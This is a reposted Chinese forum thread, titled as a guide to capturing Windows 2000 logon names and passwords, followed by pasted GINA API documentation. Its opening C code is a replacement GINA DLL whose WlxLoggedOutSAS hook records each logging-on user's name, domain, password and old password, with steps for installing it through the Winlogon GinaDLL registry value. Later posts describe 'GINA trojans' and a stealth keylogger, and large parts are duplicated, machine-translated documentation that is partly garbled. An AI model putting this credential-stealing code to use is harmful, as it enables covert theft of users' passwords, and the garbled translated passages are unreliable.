失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > WINDOWS 2000下如何获得用户登录名和密码

WINDOWS 2000下如何获得用户登录名和密码

时间:2022-03-15 07:52:41

相关推荐

WINDOWS 2000下如何获得用户登录名和密码

为了简化编程,我们从MSGINA.DLL中动态获取上述函数,在自定义的DLL中(以下称为MyGina.DLL)中直接调用MSGINA.DLL的函数即可。现在我们要处理的就是WlxLoggedOutSAS函数:

/********************************************************************/

//在启动到登陆界面时,系统(Winlogon.exe)会调用WlxLoggedOutSAS!

intWINAPI WlxLoggedOutSAS (

PVOIDpWlxContext,

DWORD dwSasType,

PLUID pAuthenticationId,

PSIDpLogonSid,

PDWORDpdwOptions,

PHANDLEphToken,

PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,

PVOID * pProfile)

{

int iRet=0;

PWSTR pszUserName=NULL; //用户名

PWSTR pszDomain=NULL; //机器名

PWSTR pszPassword=NULL;//密码

PWSTR pszOldPassword=NULL; //旧密码

PSTR pLogonTime=new char[100]; //登录时间

//调用 标准MSGINA.DLL中的WlxLoggedOutSAS()函数

iRet = prcWlxLoggedOutSAS(

pWlxContext,

dwSasType,

pAuthenticationId,

pLogonSid,

pdwOptions,

phToken,

pMprNotifyInfo,

pProfile);

if(iRet == WLX_SAS_ACTION_LOGON)

{

//Get logon time

CTime tm=CTime::GetCurrentTime();

::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d //r//n",

tm.GetYear(),

tm.GetMonth(),

tm.GetDay(),

tm.GetHour(),

tm.GetMinute(),

tm.GetSecond());

if(pLogonTime!=NULL)

{

WriteInfo("logon_time: ");

WriteInfo(pLogonTime);

}

// copy pMprNotifyInfo and pLogonSid for later use

pszUserName=pMprNotifyInfo->pszUserName;

if(pszUserName!=NULL)

{

WriteInfo("Username: ");

WriteInfoW(pszUserName);

}

pszDomain=pMprNotifyInfo->pszDomain;

if(pszDomain!=NULL)

{

WriteInfo("Domain: ");

WriteInfoW(pszDomain);

}

pszPassword =pMprNotifyInfo->pszPassword;

if(pszPassword!=NULL)

{

WriteInfo("PassWord: ");

WriteInfoW(pszPassword);

}

pszOldPassword=pMprNotifyInfo->pszOldPassword;

if(pszOldPassword!=NULL)

{

WriteInfo("OldPassword: ");

WriteInfoW(pszOldPassword);

}

}

return iRet;

}

/********************************************************************/

还有要注意的是,从pMprNotifyInfo获得都是unicode字符串,显示的时候要先把它们转换成ASCII字符串 :

void WriteInfoW(PWSTR WideStr)//显示unicode字符串信息

{

//获取unicode字符串的字符个数

int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1, NULL,0,NULL,NULL);

//在进程堆中分配空间

PSTR tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);

if(tempStr==NULL) return ;

//把unicode字符串转换为ASCII字符串

WideCharToMultiByte(CP_ACP,0,WideSt ,-1, tempStr,nstrlen,NULL,NULL);

WriteInfo(tempStr); //显示ASCII字符串信息

//释放分配的堆空间

HeapFree(GetProcessHeap(),0,tempStr);

}

三、安装和注意事项:

在编写GIAN DLL中要注意,GINA DLL使用的是unicode。

【安装】GINA DLL的安装:

1. 添加注册表

键名 : //HKEY_LOCAL_MACHINE//Software//Microsoft//Windows NT//CurrentVersion//Winlogon

变量名 : GinaDLL

变量类型 : [REG_SZ]

内容 : "你的GINA DLL的名称" 如:"MyGina.DLL:

2. 将你的GINA DLL(MyGina.dll)拷贝到系统目录下(system32);

3. 重启机器,你的GINA DLL(MyGina.dll)就会运行。

【注意】

1. 如果出现进不了你的系统,那你进入DOS后,将msgina.dll拷贝成你的GINA DLL(MyGina.dll)就可进入了;或者进入安全模式,删除掉那个键值( GinaDLL )。

2. Console 程序如果想使用MFC类,必须包含<afx.h>,同时注释掉<windows.h>。

3. 如果出现这种错误:“LINK : fatal error LNK1104: cannot open file "mfc42u.lib" ”,那么说明 lib路径的设置问题,你的链接器在指定的目录下没有找到这个的文件,你应该添加新的目录以便编译器找到所需的库文件。具体位置:IDE中 菜单Tools//Options//Directories//show directories for// <library files>。

4. 如果出现这种错误:“uafxcwd.lib(dllmodul.obj) : error LNK: _DllMain@12 already defined in main.obj ”或者“mfcs42ud.lib(dllmodul.obj) : error LNK: _DllMain@12 already defined in main.obj ”,那么“See if you have _AFXDLL and _USRDLL in the preprocessor definitions. Try removing one of them”。具体位置:IDE中 菜单Project // Setting // C/C++ // preprocessor definition 。

--作者:0934

--发布时间:-4-25 5:54:26

--

/library/en-us/secauthn/security/winlogon_and_gina.asp--作者:0934

--发布时间:-4-25 6:11:18

--

GINA出口函数

AGINA动态链接库必须出口下列函数。

登录用户函数

下列函数提供能力登录一个用户。

Winlogon支持函数

GINA动态链接库能打电话下列Winlogon支持函数。

--作者:0934

--发布时间:-4-25 6:14:06

--

漫谈主流操作系统中可信路径安全机制 【2/22/ 13:40:51

漫谈主流操作系统中可信路径安全机制

等等,你也许会想到GINA木马,它不就是伪造的登陆窗口吗?在登陆到windowsNT时,我们按下ctrl+alt+del这个所谓的可信路径时,怎么没有将它杀掉?事实上,GINA木马并不是直接击败可信路径这一功能,而是破坏了可信路径下层的TCB,改变了TCB中软件结构的一部分!现在我们来回忆一下GINA木马的一些细节,还记得吧?

GINA[GINA: Graphical Identification and Authentication,图形身份验证 ] 在windows中,缺省的GINA就是msgina.dll ,它是运行在winlogon.exe的进程空间中的,由注册表中//HKEY_LOCAL_MACHINE//Software//Microsoft//Windows NT//CurrentVersion//Winlogon//GinaDLL=yourgina.dll 定义,默认情况下则就是msgina.dll,而GINA木马的实现机理则就是通过修改注册表,将原来的msgina.dll替换为自己的木马GINA,以此实现将截获的用户名和密码保存在某个文件中,供黑帽子读取。

严格来说这确实不算是直接击败了SAS可信路径功能,因为必须有administrator权限才能进行操作注册表,完成替换系统文件的工作,而这种方式是微软提供给客户的一种功能,方便客户以自己的方式来进行用户身份验证,比如使用指纹鉴别仪,视网膜扫校仪等非口令验证方式,只要替换msgina.dll为特定的GINA,就可以完成这种衔接工作,因此这只是一种功能,不是缺陷,更不能算是漏洞;并且,在WINDOWS这种操作系统中,若得到了admin权限,则再也没有什么不能做的事。

在美国foundstone公司编撰的《黑客大曝光》[Hacking Exposed]一书中,也提到了一个能捕获ctrl + alt + del 三键序列之后的密码操作的工具,Invisible Keylogger Stealth (IKS),它能远程安装,安装后需要重启,之后就能运行在后台,偷偷窃取用户的密码,并将其记录在iks.dat 文件中,且该iks.dat 文件是二进制格式,需专用的datview程序解读,隐蔽性不可谓不好,不过这个程序仍然不是直接击败可信路径,而是破坏了目标机器的TCB,与GINA木马类似的,它也需要管理员权限,因为它是基于编制设备驱动程序来实现其功能的,而在一台WINNT机器上安全设备驱动,自然必须管理员才能完成操作。因此这仍然不能算是一个漏洞,从TCB概念的角度来分析也是如此,是TCB中的一部分改变了另一部分,记得我们前面所说的系统管理员也是TCB的构成部分吗?这里指的系统管理员并非具体的人,而是拥有管理权限的帐户,机器、程序是不会辨别人类的,谁控制了管理帐户,机器就听谁的指挥。

NT系列windows操作系统的启动过程中关于SAS的定义过程是:

初始化时GINA已经收到VOID WlxUseCtrlAltDel(HANDLE hWlx);这个函数它的作用就是通知winlogon.exe,GINA默认使用ctrl+alt+del这个标准SAS.如果要用自己定义SAS序列的话,开发者必须在编制自己的GINA.dll时

自行HOOK热键.并且通过:

WlxSasNotify(hGlobalWlx, dwSasType);

这个函数来报告将使用的SAS。

GINA将提供给winlogon.exe一个函数:

VOID WINAPI WlxDisplaySASNotice(PVOID pContext);

用于显示欢迎画面以及验证是否使用了自定义的SAS序列。

[此贴子已经被作者于-4-25 6:15:23编辑过]--作者:0934

--发布时间:-4-25 6:15:53

--

WlxUseCtrlAltDel

WlxUseCtrlAltDel函数被调用由GINA告诉Winlogon使用标准的CTRL+ALT+DEL钥匙联合作为一安全的注意序列(SAS)。

这函数已经被替代由WlxSetOption函数打电话了与选择参数设定到WLX_OPTION_USE_CTRL_ALT_DEL。

空旷WlxUseCtrlAltDel(hWlx);

参数

hWlx[在] Winlogon柄提供了给GINA在WlxInitialize打电话。

返回值

这函数没有返回值。

讲话

如果GINA使用这函数, 它是没要求使用WlxSasNotify函数。 然而, 如果为另外的蔬菜除了CTRL+ALT+DEL GINA正在监视, 它必须使用WlxSasNotify交付附加的SAS事件通知。

要求

--作者:0934

--发布时间:-4-25 6:17:34

--

WlxSasNotify

WlxSasNotify函数被调用由GINA通报Winlogon的一安全的注意序列(SAS) 事件。

空旷WlxSasNotify(hWlx,DWORDdwSasType);

参数

hWlx[在] 规定被传递了给GINA在的Winlogon柄WlxInitialize打电话。dwSasType[在] 规定那发生了的SAS的类型。

到WLX_SAS_TYPE_MAX_MSFT_VALUE的从零的价值被保留定义标准的微软SAS类型。 GINA开发者能使用比WLX_SAS_TYPE_MAX_MSFT_VALUE伟大的价值定义附加的SAS类型。

下列价值被预先规定。

这值将被送到由Winlogon服务例程调用了的GINA SAS的之一(WlxLoggedOutSAS,WlxLoggedOnSAS, 或WlxWkstaLockedSAS).

返回值

这函数没有返回值。

要求

--作者:0934

--发布时间:-4-25 6:25:07

--

WlxLoggedOutSAS

WlxLoggedOutSAS函数必须被代替实现GINA动态链接库。Winlogon当它收到时调用这函数一安全的注意序列(SAS) 事件当时没有用户笨拙在上。

intWlxLoggedOutSAS(PVOIDpWlxContext,DWORDdwSasType,PLUIDpAuthenticationId,PSIDpLogonSid,PDWORDpdwOptions,PHANDLEphToken,PWLX_MPR_NOTIFY_INFOpNprNotifyInfo,PVOID*pProfile);

参数

pWlxContext[在] 与这个窗户车站到GINA上下文的一个指示器联系了。 当Winlogon打电话时GINA归还这上下文价值WlxInitialize为这个车站。dwSasType[在] 规定那发生了的SAS的类型。 到WLX_SAS_TYPE_MAX_MSFT_VALUE的从零的价值被保留定义标准的微软SAS类型。 由使用比WLX_SAS_TYPE_MAX_MSFT_VALUE伟大的价值GINA开发者能定义附加的SAS类型。

下列SAS类型被预先规定。

pAuthenticationId[外面] 规定与水流被联系了的认证标识符登录会议。 由打电话你能得到这价值GetTokenInformation获得一TOKEN_STATISTICS为标志的结构返回了由LogonUser函数。pLogonSid[在, 外面] 在输入上, 这参数意义到一安全标识符(SID) 对当前的登录会议那唯一。Winlogon使用这SID在窗户车站和应用桌面上改变保护以便新的在笨拙上用户能存取他们。

在输出上, Winlogon提供一SID。 由使用你能也得到SIDGetTokenInformation函数到搜索一TOKEN_GROUPS为标志的结构返回了由LogonUser函数。 做这, 寻找被归还了在的数组TOKEN_GROUPS为有SE_GROUP_LOGON_ID的团体的结构归因。

pdwOptions[外面] 一个指示器到一DWORD那包含登录选择的集合。 下列选择被定义。phToken[外面] 到柄变数的一个指示器。 当登录军事行动成功时, 将这个柄放到那代表在笨拙上用户的一个标志。 使用LogonUser得到这个标志的函数, 那时, 当用户离去时, Winlogon关上这个柄并且打电话WlxLogoff函数。

如果在打电话以后你需要这个柄WlxLogoff函数, 做一柄的在放回它至Winlogon前复制。

pNprNotifyInfo[外面] 一个指示器到一WLX_MPR_NOTIFY_INFO那包含域的结构, 用户名字, 并且为用户的口令信息。 Winlogon将使用这条信息提供鉴定和认证信息给网络供应商。

GINA是没要求归还口令信息。 在结构以内的任何等于零的田野将被Winlogon忽略。 使用LocalAlloc分派每根弦; Winlogon将免费他们当他们不再是时需要。

GINA应该提供域, 用户, 并且为完全的会议目录泛函性的口令值。 如果口令是没提供, 会议目录将要求用户到在用户前口令两次被连结到服务器的输入。

为保护口令的信息, 看处理口令.

pProfile[外面] 在从一次成功的认证的回来上,pProfile参数意义到也一WLX_PROFILE_V1_0或一WLX_PROFILE_V2_0结构。 第一DWORD在结构显示它是哪个结构。 Winlogon使用这结构装载在笨拙上用户的侧面, 并且自由与结构当它不再需要它时被联系了的记忆。

返回值

如果函数失败, 函数归还零。

如果函数成功, 它归还下列价值的之一。

讲话

在打电话前WlxLoggedOutSAS, Winlogon给桌面状态以便当前的桌面是Winlogon桌面并且给工作站状态以便桌面被锁。

别触发用户壳节目在WlxLoggedOutSAS。 用户壳节目应该总是被触发在WlxActivateUserShell.

要求

--作者:0934

--发布时间:-4-25 6:28:27

--

pWlxContext[在] 与这个窗户车站到GINA上下文的一个指示器联系了。 当Winlogon打电话时GINA归还这上下文价值WlxInitialize为这个车站。dwSasType[在] 规定那发生了的SAS的类型。 到WLX_SAS_TYPE_MAX_MSFT_VALUE的从零的价值被保留定义标准的微软SAS类型。 由使用比WLX_SAS_TYPE_MAX_MSFT_VALUE伟大的价值GINA开发者能定义附加的SAS类型。

下列SAS类型被预先规定。

pAuthenticationId[外面] 规定与水流被联系了的认证标识符登录会议。 由打电话你能得到这价值GetTokenInformation获得一TOKEN_STATISTICS为标志的结构返回了由LogonUser函数。pLogonSid[在, 外面] 在输入上, 这参数意义到一安全标识符(SID) 对当前的登录会议那唯一。Winlogon使用这SID在窗户车站和应用桌面上改变保护以便新的在笨拙上用户能存取他们。

在输出上, Winlogon提供一SID。 由使用你能也得到SIDGetTokenInformation函数到搜索一TOKEN_GROUPS为标志的结构返回了由LogonUser函数。 做这, 寻找被归还了在的数组TOKEN_GROUPS为有SE_GROUP_LOGON_ID的团体的结构归因。

pdwOptions[外面] 一个指示器到一DWORD那包含登录选择的集合。 下列选择被定义。phToken[外面] 到柄变数的一个指示器。 当登录军事行动成功时, 将这个柄放到那代表在笨拙上用户的一个标志。 使用LogonUser得到这个标志的函数, 那时, 当用户离去时, Winlogon关上这个柄并且打电话WlxLogoff函数。

如果在打电话以后你需要这个柄WlxLogoff函数, 做一柄的在放回它至Winlogon前复制。

pNprNotifyInfo[外面] 一个指示器到一WLX_MPR_NOTIFY_INFO那包含域的结构, 用户名字, 并且为用户的口令信息。 Winlogon将使用这条信息提供鉴定和认证信息给网络供应商。

GINA是没要求归还口令信息。 在结构以内的任何等于零的田野将被Winlogon忽略。 使用LocalAlloc分派每根弦; Winlogon将免费他们当他们不再是时需要。

GINA应该提供域, 用户, 并且为完全的会议目录泛函性的口令值。 如果口令是没提供, 会议目录将要求用户到在用户前口令两次被连结到服务器的输入。

为保护口令的信息, 看处理口令.

pProfile[外面] 在从一次成功的认证的回来上,pProfile参数意义到也一WLX_PROFILE_V1_0或一WLX_PROFILE_V2_0结构。 第一DWORD在结构显示它是哪个结构。 Winlogon使用这结构装载在笨拙上用户的侧面, 并且自由与结构当它不再需要它时被联系了的记忆。--作者:0934

--发布时间:-4-25 6:29:20

--

以下是原文:

WlxLoggedOutSAS

TheWlxLoggedOutSASfunction must be implemented by a replacementGINADLL.Winlogoncalls this function when it receives asecure attention sequence(SAS) event while no user is logged on.

intWlxLoggedOutSAS(PVOIDpWlxContext,DWORDdwSasType,PLUIDpAuthenticationId,PSIDpLogonSid,PDWORDpdwOptions,PHANDLEphToken,PWLX_MPR_NOTIFY_INFOpNprNotifyInfo,PVOID*pProfile);

Parameters

pWlxContext[in] A pointer to the GINA context associated with this window station. The GINA returns this context value when Winlogon callsWlxInitializefor this station.dwSasType[in] Specifies the type of SAS that occurred. Values from zero to WLX_SAS_TYPE_MAX_MSFT_VALUE are reserved to define standard Microsoft SAS types. GINA developers can define additional SAS types by using values greater than WLX_SAS_TYPE_MAX_MSFT_VALUE.

The following SAS types are predefined.

pAuthenticationId[out] Specifies the authentication identifier associated with the currentlogon session. You can get this value by callingGetTokenInformationto obtain aTOKEN_STATISTICSstructure for the token returned by theLogonUserfunction.pLogonSid[in, out] On input, this parameter points to asecurity identifier(SID) that is unique to the current logon session.Winlogonuses this SID to change the protection on the window station and application desktop so that the new logged-on user can access them.

On output, Winlogon provides a SID. You can also get the SID by using theGetTokenInformationfunction to retrieve aTOKEN_GROUPSstructure for the token returned by theLogonUserfunction. To do this, search the array returned in theTOKEN_GROUPSstructure for the group with the SE_GROUP_LOGON_ID attribute.

pdwOptions[out] A pointer to aDWORDthat contains the set of logon options. The following option is defined.phToken[out] A pointer to a handle variable. When the logon operation succeeds, set this handle to a token that represents the logged-on user. Use theLogonUserfunction to get this token, then, when the user logs off, Winlogon closes this handle and calls theWlxLogofffunction.

If you need this handle after calling theWlxLogofffunction, make a duplicate of the handle before returning it to Winlogon.

pNprNotifyInfo[out] A pointer to anWLX_MPR_NOTIFY_INFOstructure that contains domain, user name, and password information for the user. Winlogon will use this information to provide identification and authentication information to network providers.

The GINA is not required to return password information. Any NULL fields within the structure will be ignored by Winlogon. UseLocalAllocto allocate each string; Winlogon will free them when they are no longer needed.

The GINA should provide domain, user, and password values for complete Session Directory functionality. If the password is not provided, Session Directory will require the user to input the password twice before the user is connected to the server.

For information about protecting passwords, see Handling Pas

我们需要注意的是WlxLoggedOnSAS函数。屏蔽Ctrl+Alt+Del组合键代码将在调用该函数时添加。我们采用读取注册表键值来判断是否屏蔽,而该键值将在客户端程序中被操作。

开发完成的自定义GINA.dll要放到Wint/system32文件夹中。并修改注册表:

若GINADLL不存在,新建即可。

再重启计算机后myGina即为系统使用。

2)全局HOOKDLL编写

采用BORLAND C++Bulider 6.0(以下简称BCB)编写安装全局HOOK的DLL文件。BCB是一款优秀的C/C++语言开发工具,可以快速开发高质量的Windows程序。下面介绍简要步骤:

I. 利用BCB新建向导,建立一个DLL工程。在此DLL中我们将有条件的安放两个HOOK。一个用于捕获系统功能热键并屏蔽,另一个用作客户端程序的激活热键;

II. 在cpp里添加如下代码:

此段代码用于申明全局变量和导出函数。因为此DLL文件将被VB编写的客户端程序所调用,所以声明导出函数时需要将语句extern ”C” 放置在声明处。另外在BCB中默认的调用约定为__cdecl方式,而在VB中调用约定为__stdcall。

因为客户端程序是作为后台运行的,所以我们需要给其安放个激活热键,以便用户在任何情况下通过热键呼出。所以必须通过DLL文件安放一个全局HOOK,用作激活热键。当用户按下激活热键后,DLL会截获消息并向指定的客户端程序发送激活消息。

此处为捕获、屏蔽系统功能热键的回调函数,用户可根据需要添加修改需要屏蔽的按键。

这个函数负责根据客户端调用参数,向系统注册、注销HOOK。HOOK必须在不要的时候卸载!

III. 以Release方式编译保存。

IV. 关于DLL调试可以参见有关文档。

3)客户端程序

微软的 Visual Basic 因为其编写Windows界面程序的方便、灵活而成为我们开发客户端程序的首选。我们采用Visual Basic 6.0 中文企业版(以下简称VB)进行开发。VB本身并不直接支持DLL文件的开发,但提供了对DLL的调用功能。作为客户端程序,就是实现用户操作与程序调用DLL,API函数的转换。下面介绍简要步骤:

I.工程建立

新建三个窗体.分别命名为:Form1,frmLogin,Dialog.Form1作为主窗体界面布置如图<1>:

<1>

第一项采用API函数屏蔽任务栏;

第二项通过操作注册表,实现屏蔽Ctrl+Alt+Del组合键;

第三项通过调用开发的底层键盘HOOK DLL实现功能键的屏蔽。

密码设置项用于客户端程序激活需要密码情况。

frmLogin作为用户设置密码后,重新激活的登录窗体,如图<2>:

<2>

Dialog则作为”密码设置”窗体,如图<3>:

<3>

II.代码流程

本文给出主流程图。说明:

i. 因为软件是基于Windows2000平台,所以启动后首先要判断系统平台;

ii. 考虑系统安全性,程序要检查是否已有远行实例;

iii. 因为要接受DLL文件发送的激活消息,所以可以在窗体加载事件中通过SetWindowLong函数在VB消息序列中添加自定义消息过滤函数。

SetWindowLong语法:

SetWindowLong(hwnd, GWL_WNDPROC, AddressOf SysMenuProc)hwnd:当前窗体的句柄

GWL_WNDPROC:设置一个新的窗口消息处理过程的地址

AddressOf SysMenuProc:取新的窗口消息处理过程名称

返回值代表前个窗体消息处理过程。

SysMenuProc函数是个回调函数。必须声明定义在标准模块中。

iv. 程序最小化在系统托盘区编程利用Shell_NotifyIcon函数。

Shell_NotifyIcon语法可以参见微软的MSDN。添加系统托盘图标子程序放在窗体的Resize事件中。程序在退出时必须删除图标。

pAuthenticationId[out] Specifies the authentication identifier associated with the currentlogon session. You can get this value by callingGetTokenInformationto obtain aTOKEN_STATISTICSstructure for the token returned by theLogonUserfunction.pLogonSid[in, out] On input, this parameter points to asecurity identifier(SID) that is unique to the current logon session.Winlogonuses this SID to change the protection on the window station and application desktop so that the new logged-on user can access them.

On output, Winlogon provides a SID. You can also get the SID by using theGetTokenInformationfunction to retrieve aTOKEN_GROUPSstructure for the token returned by theLogonUserfunction. To do this, search the array returned in theTOKEN_GROUPSstructure for the group with the SE_GROUP_LOGON_ID attribute.

pdwOptions[out] A pointer to aDWORDthat contains the set of logon options. The following option is defined.phToken[out] A pointer to a handle variable. When the logon operation succeeds, set this handle to a token that represents the logged-on user. Use theLogonUserfunction to get this token, then, when the user logs off, Winlogon closes this handle and calls theWlxLogofffunction.

If you need this handle after calling theWlxLogofffunction, make a duplicate of the handle before returning it to Winlogon.

pNprNotifyInfo[out] A pointer to anWLX_MPR_NOTIFY_INFOstructure that contains domain, user name, and password information for the user. Winlogon will use this information to provide identification and authentication information to network providers.

The GINA is not required to return password information. Any NULL fields within the structure will be ignored by Winlogon. UseLocalAllocto allocate each string; Winlogon will free them when they are no longer needed.

The GINA should provide domain, user, and password values for complete Session Directory functionality. If the password is not provided, Session Directory will require the user to input the password twice before the user is connected to the server.

For information about protecting passwords, see Handling Passwords.

pProfile[out] On return from a successful authentication, thepProfileparameter points to either aWLX_PROFILE_V1_0or aWLX_PROFILE_V2_0structure. The firstDWORDin the structure indicates which structure it is. Winlogon uses this structure to load the profile of the logged-on user, and frees the memory associated with the structure when it no longer needs it.

Return Values

If the function fails, the function returns zero.

If the function succeeds, it returns one of the following values.

Remarks

Before callingWlxLoggedOutSAS, Winlogon sets the desktop state so that the current desktop is the Winlogon desktop and sets the workstation state so that the desktop is locked.

Do not activate the user shell program inWlxLoggedOutSAS. The user shell program should always be activated inWlxActivateUserShell.

Requirements

--作者:0934

--发布时间:-4-25 6:31:48

--

pWlxContext[in] A pointer to the GINA context associated with this window station. The GINA returns this context value when Winlogon callsWlxInitializefor this station.dwSasType[in] Specifies the type of SAS that occurred. Values from zero to WLX_SAS_TYPE_MAX_MSFT_VALUE are reserved to define standard Microsoft SAS types. GINA developers can define additional SAS types by using values greater than WLX_SAS_TYPE_MAX_MSFT_VALUE.

The following SAS types are predefined.

pAuthenticationId[out] Specifies the authentication identifier associated with the currentlogon session. You can get this value by callingGetTokenInformationto obtain aTOKEN_STATISTICSstructure for the token returned by theLogonUserfunction.pLogonSid[in, out] On input, this parameter points to asecurity identifier(SID) that is unique to the current logon session.Winlogonuses this SID to change the protection on the window station and application desktop so that the new logged-on user can access them.

On output, Winlogon provides a SID. You can also get the SID by using theGetTokenInformationfunction to retrieve aTOKEN_GROUPSstructure for the token returned by theLogonUserfunction. To do this, search the array returned in theTOKEN_GROUPSstructure for the group with the SE_GROUP_LOGON_ID attribute

pdwOptions[out] A pointer to aDWORDthat contains the set of logon options. The following option is defined.

phToken[out] A pointer to a handle variable. When the logon operation succeeds, set this handle to a token that represents the logged-on user. Use theLogonUserfunction to get this token, then, when the user logs off, Winlogon closes this handle and calls theWlxLogofffunction.

If you need this handle after calling theWlxLogofffunction, make a duplicate of the handle before returning it to Winlogon.

pNprNotifyInfo[out] A pointer to anWLX_MPR_NOTIFY_INFOstructure that contains domain, user name, and password information for the user. Winlogon will use this information to provide identification and authentication information to network providers.

The GINA is not required to return password information. Any NULL fields within the structure will be ignored by Winlogon. UseLocalAllocto allocate each string; Winlogon will free them when they are no longer needed.

The GINA should provide domain, user, and password values for complete Session Directory functionality. If the password is not provided, Session Directory will require the user to input the password twice before the user is connected to the server.

For information about protecting passwords, see Handling Passwords.

pProfile[out] On return from a successful authentication, thepProfileparameter points to either aWLX_PROFILE_V1_0or aWLX_PROFILE_V2_0structure. The firstDWORDin the structure indicates which structure it is. Winlogon uses this structure to load the profile of the logged-on user, and frees the memory associated with the structure when it no longer needs it.

这里是东方快车对比结果

点击浏览该文件

[此贴子已经被作者于-4-25 6:33:57编辑过]--作者:死亡月亮

--发布时间:-4-25 7:28:21

--

注意:空旷 一词为翻译软件翻译错误

正确的应该是 VOID

WlxSasNotify

TheWlxSasNotifyfunction is called byGINAto notifyWinlogonof asecure attention sequence(SAS) event.

VOIDWlxSasNotify(HANDLEhWlx,DWORDdwSasType);

Parameters

hWlx[in] Specifies the Winlogon handle passed to GINA in theWlxInitializecall.dwSasType[in] Specifies the type of SAS that occurred.

Values from zero to WLX_SAS_TYPE_MAX_MSFT_VALUE are reserved to define standard Microsoft SAS types. GINA developers can use values greater than WLX_SAS_TYPE_MAX_MSFT_VALUE to define additional SAS types.

The following values are predefined.

This value will be delivered to one of the GINA SAS service routines called by Winlogon (WlxLoggedOutSAS,WlxLoggedOnSAS, orWlxWkstaLockedSAS).

Return Values

This function has no return values.

Requirements

如果觉得《WINDOWS 2000下如何获得用户登录名和密码》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。